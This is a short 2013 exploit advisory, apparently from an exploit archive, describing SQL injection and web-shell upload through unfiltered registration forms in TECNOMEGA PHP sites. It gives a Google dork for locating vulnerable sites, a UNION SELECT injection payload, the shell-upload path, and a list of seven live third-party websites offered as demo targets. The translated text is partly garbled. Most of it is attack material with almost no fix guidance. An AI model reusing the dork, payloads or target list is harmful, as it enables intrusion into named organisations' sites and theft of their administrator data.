# Exploit Title: TECNOMEGA / SQL Injection Vulnerability
# Date: 21/02/2013
# Exploit Author: Diego_Asencio | | r4z0r_bl4ck
# Twitter: @ r4z0r_bl4ck
# Blog: http://r4z0rbl4ck.wordpress.com/
# Vendor Homepage: http://www.tecnomega.net/
# Tested on: Linux Ubuntu
# Category: WebApps - PHP
# Google Dork: inurl:. Php id = intext: Powered by TECNOMEGA | | inurl: intext registrarme.php: Developed by TECNOMEGA
# WorkGroup: @ inside0utside
- = INFO = -
The Company develops Digital TECNOMEGA in PHP web applications, which do not take into account variables filtering or filtering file extensions in the 'uploads' or uploaders of files, allowing an attacker to upload your phpshell through a registration form normal user, or performing SQL injection to obtain user data administrator
- = MYSQL ERROR = -
Error
SELECT * FROM products WHERE brand = '1 'AND status = '1' ORDER BY name ASC limit 0.16
You have an error in your SQL syntax; check the handbook That corresponds to your MySQL server version for the right syntax to use near '1 'ORDER BY name ASC limit 0.16' at line 1
- = XPL (PoC) = -
1) => http://127.0.0.1/ *. php id = 1 + Union + all + select +0,1,2,3,4 - [SQL Injection]
2) => http://127.0.0.1/registrarme.php [Shell Upload]
- = DEMO's = -
http://itouch.com.co/detalle-accesorio.php?id=362 (SQLi)
http://www.revistacolombianadesaludocupacional.co/autor-detalle.php?id=49 (SQLi)
http://tecnomega.net/productos-marcas.php?id=15 (SQLi)
http://www.unilibrecali.edu.co/Revista_Colombiana_Salud_Ocupacional/autor-detalle.php?id=42 (SQLi)
http://dkrinmobiliaria.com/detalle_inmueble.php?id=36 (SQLi)
http://megatec.com.co/noticias.php?id=9 (SQLi)
http://www.computiendaelectronica.com/detalle_producto.php?id=189 (SQLi)
=> Also, to raise the domain shell would be the same, but with the / registrarme.php where in the field to raise the profile picture, the WebShell slinks on the server for not filtering extensions in forms uploads
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
Thanks to:
@ Inside0utside - T34M /
- All members
@ R4z0r_Bl4ck
@ Sr_Xaoc
@ MaximusWell
@ MikeSoft
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information